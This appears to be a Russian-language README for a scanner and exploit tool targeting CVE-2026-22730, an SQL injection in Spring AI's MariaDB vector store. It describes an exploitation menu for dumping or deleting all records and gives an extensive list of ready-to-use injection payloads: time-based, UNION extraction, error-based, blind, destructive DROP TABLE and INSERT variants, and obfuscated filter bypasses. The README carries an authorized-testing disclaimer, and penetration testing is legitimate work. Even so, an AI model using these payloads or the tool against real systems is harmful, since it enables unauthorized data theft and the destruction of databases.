
Сканер и эксплойт-инструмент для CVE-2026-22730, SQL-инъекции в векторном хранилище MariaDB в Spring AI. Поддерживает обнаружение на основе времени, методы GET/POST и эксплуатацию с формированием отчётов.
Профессиональный инструмент для оценки безопасности CVE-2026-22730 – критической уязвимости SQL-инъекции, обнаруженной в MariaDB vector store фреймворка Spring AI. Этот инструмент позволяет авторизованным специалистам по пентесту и исследователям безопасности обнаруживать и безопасно эксплуатировать уязвимость в образовательных или защитных целях.
📖 Обзор
CVE-2026-22730 затрагивает версии Spring AI 1.0.x < 1.0.4 и 1.1.x < 1.1.3 при использовании MariaDB vector store. Из-за некорректного экранирования строковых значений в выражениях фильтров злоумышленник может внедрить произвольный SQL через контролируемые пользователем параметры (например, фильтры метаданных). Это может привести к:
Несанкционированному получению данных – обходу контроля доступа на основе метаданных
Полному удалению базы данных – уничтожению всего vector store (разрушительное воздействие)
Тихой утечке данных – в RAG-конвейерах утёкшие данные включаются в ответы LLM без обнаружения
Этот инструмент предоставляет безопасный, настраиваемый метод для проверки наличия уязвимости и демонстрации её воздействия (с явного согласия) во время авторизованных оценок безопасности.
🚀 Возможности
✅ Обнаружение на основе времени – использует инъекцию SLEEP() для подтверждения уязвимости
✅ Несколько HTTP-методов – поддерживает GET (параметры запроса) и POST (JSON-тело)
✅ Настраиваемая длительность задержки – адаптация под сетевую задержку или требования скрытности
✅ Варианты эксплуатации – получение всех документов (SELECT) или удаление всех (DELETE)
✅ Комплексная отчётность – создаёт отчёты в форматах HTML, JSON и обычного текста
✅ Удобный CLI – интерактивный режим и полные аргументы командной строки
✅ Расширяемая система полезных нагрузок – лёгкая интеграция пользовательских строк инъекций
📋 Требования
Python 3.6 или выше
Библиотека requests (pip install requests)
🔧 Установка
bash git clone https://github.com/NULL200OK/cve-2026-22730-scanner.git
cd cve-2026-22730-scanner
📖 Использование
Скрипт можно запускать в интерактивном режиме или с аргументами командной строки.
Базовый синтаксис
bash
python cve-2026-22730_scanner.py [options]
Параметры
Параметр Описание
--url Целевой URL (например, http://localhost:8081/api/docs)
--method HTTP-метод: GET или POST (по умолчанию: GET)
--param Имя параметра запроса для GET или имя ссылки для POST (необязательно)
--json-template JSON-шаблон с заполнителем PAYLOAD (обязательно для POST)
--baseline Безопасное значение для базового запроса (по умолчанию: несуществующее)
--sleep Секунды задержки для обнаружения на основе времени (по умолчанию: 5)
Примеры
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/docs" --method GET --param "department"
bash
python cve-2026-22730_scanner.py --url "http://localhost:8081/api/search" --method POST --json-template '{"department": "PAYLOAD"}'
bash
python cve-2026-22730_scanner.py --url "http://example.com/search" --param "filter" --sleep 10 --baseline "HR"
bash
python cve-2026-22730_scanner.py
Вам будет предложено указать URL, метод, параметр/JSON-шаблон, базовое значение и время задержки.
Процесс эксплуатации
Если цель уязвима, скрипт отображает меню:
text
[?] Цель уязвима. Выберите вариант эксплуатации:
1. Получить все документы (инъекция SELECT)
2. Удалить все документы (инъекция DELETE) - РАЗРУШИТЕЛЬНО
3. Пропустить эксплуатацию
Вариант 1 отправляет ' OR '1'='1 для получения всех строк (неразрушающе, только чтение данных).
Вариант 2 отправляет ту же полезную нагрузку с использованием HTTP-метода DELETE – навсегда удаляет все записи. Требует явного подтверждения.
Все действия регистрируются и включаются в итоговый отчёт.
📁 Выходные файлы
После каждого запуска в текущем каталоге создаются три файла с отметкой времени:
cve-2026-22730_YYYYMMDD_HHMMSS.json – машиночитаемый JSON-отчёт со всеми деталями.
cve-2026-22730_YYYYMMDD_HHMMSS.txt – текстовое резюме, включая данные эксплуатации, если таковые имеются.
cve-2026-22730_YYYYMMDD_HHMMSS.html – форматированный HTML-отчёт, подходящий для обмена или архивирования.
⚠️ Важное предупреждение
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным.
Автор не несёт ответственности за неправильное использование или ущерб, причинённый этим программным обеспечением.
Всегда получайте письменное разрешение перед сканированием или эксплуатацией любой цели.
📚 Ссылки
GitHub Security Advisory GHSA‑c267‑rfvc‑mvpm
Spring Security Advisory AV26‑245
Оригинальная исследовательская статья от SecureLayer7
🤝 Вклад в проект
Приветствуются pull request'ы, отчёты об ошибках и предложения по функциям. Пожалуйста, сначала откройте issue для обсуждения крупных изменений.
📄 Лицензия
Этот проект лицензирован под MIT License – подробности см. в файле LICENSE.
Разработано с ❤️ Nabeel
Пример для PYLOAD
Для сообщества специалистов по безопасности
📌 Как использовать эти полезные нагрузки
В скрипте при использовании POST с --json-template замените PAYLOAD на любую полезную нагрузку из списка ниже.
Для GET-запросов просто передайте полезную нагрузку как значение параметра (скрипт автоматически обрабатывает URL-кодирование).
🔥 Категории полезных нагрузок
Они вызывают задержку, если инъекция успешна. Используйте их для подтверждения уязвимости.
Полезная нагрузка Описание
' OR SLEEP(5) -- Стандартная полезная нагрузка на основе времени. Если запрос приостанавливается на ~5 секунд, инъекция работает.
' OR BENCHMARK(10000000,MD5('a')) -- Альтернатива для MySQL/MariaDB (BENCHMARK).
' OR (SELECT * FROM (SELECT(SLEEP(5)))a) -- Вложенный sleep для обхода некоторых фильтров.
' OR 1=1 AND SLEEP(5) -- Комбинирует условие всегда-истинно с задержкой.
Они делают условие WHERE всегда истинным, возвращая все записи.
Полезная нагрузка Описание
' OR '1'='1 Классическая инъекция всегда-истинно.
' OR 1=1 -- Другой вариант (требуется пробел после --).
' OR ''=' Основана на сравнении пустых строк.
' OR 1=1# Использует # для комментария MariaDB (URL-кодируется как %23).
' OR 1=1 LIMIT 1 -- Возвращает только одну строку (полезно для контролируемого вывода)
Полезно, когда приложение отображает результаты. Вам нужно сопоставить количество столбцов.
Полезная нагрузка Описание
' UNION SELECT NULL, database(), user(), version() -- Получение имени базы данных, пользователя, версии. (Настройте количество NULL под количество столбцов.)
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- Список таблиц.
' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='vector_store' -- Список столбцов.
' UNION SELECT 1, content, metadata FROM vector_store -- Выгрузка фактических данных (если количество столбцов совпадает).
Вызывает ошибки, которые раскрывают информацию.
Полезная нагрузка Описание
' AND extractvalue(1, concat(0x7e, database())) -- На основе ошибок MariaDB/MySQL.
' AND updatexml(1, concat(0x7e, version()), 1) -- Другой метод на основе ошибок.
' OR 1 GROUP BY concat(database(), floor(rand(0)*2)) HAVING min(0) -- Ошибка дублирующего ключа.
Полезно, когда нет вывода или ошибок, но поведение приложения меняется.
Полезная нагрузка Описание
' AND (SELECT ascii(substring(database(),1,1))) > 64 -- Проверяет первый символ имени базы данных.
' AND (SELECT COUNT(*) FROM information_schema.tables) > 10 -- Проверяет количество таблиц.
' OR (SELECT 1 FROM users LIMIT 1) = 1 -- Проверяет существование таблицы.
Разрушительные полезные нагрузки (используйте с особой осторожностью).
Полезная нагрузка Описание
' OR '1'='1 При использовании с DELETE удаляет все строки.
' OR 1=1; DROP TABLE vector_store -- Пытается удалить всю таблицу (требует составных запросов, часто отключено).
' OR 1=1; INSERT INTO vector_store (content) VALUES ('hacked') -- Пытается вставить новые данные.
Обфусцированные версии для обхода простого сопоставления с образцом.
Полезная нагрузка Описание
%27%20OR%20SLEEP(5)%20-- URL-кодированная (скрипт обрабатывает это автоматически).
' //OR//SLEEP(5)/**/-- Встроенные комментарии для разбивки ключевых слов.
' OR 0x273d27=0x273d27 -- Сравнение в шестнадцатеричном коде ('=').
' OR 1=1 /!50000SLEEP(5)/ -- Комментарий, специфичный для версии MySQL.
Полезная нагрузка Описание
' OR '1'='1 Используется для получения всех документов (доказательство концепции).
' OR SLEEP(5) -- Полезная нагрузка обнаружения на основе времени, используемая в сканере.
' OR '1'='1 Также используется для инъекции DELETE.
📝 Примеры JSON-шаблонов с полезной нагрузкой
json
{"department": "' OR SLEEP(5) --"}
{"department": "' OR '1'='1"}
{"department": "' UNION SELECT 1, content, metadata FROM vector_store --"}
В скрипте вы передадите шаблон следующим образом:
bash
--json-template '{"department": "PAYLOAD"}'
Скрипт заменит PAYLOAD на фактическую полезную нагрузку.
ПРИМЕЧАНИЕ о URL
Скрипту требуется полный URL конечной точки, которая принимает уязвимый параметр. Например:
✅ http://example.com/api/docs – если конечная точка /api/docs
✅ http://example.com/search – если конечная точка /search
❌ http://example.com – недостаточно, скрипту нужен точный путь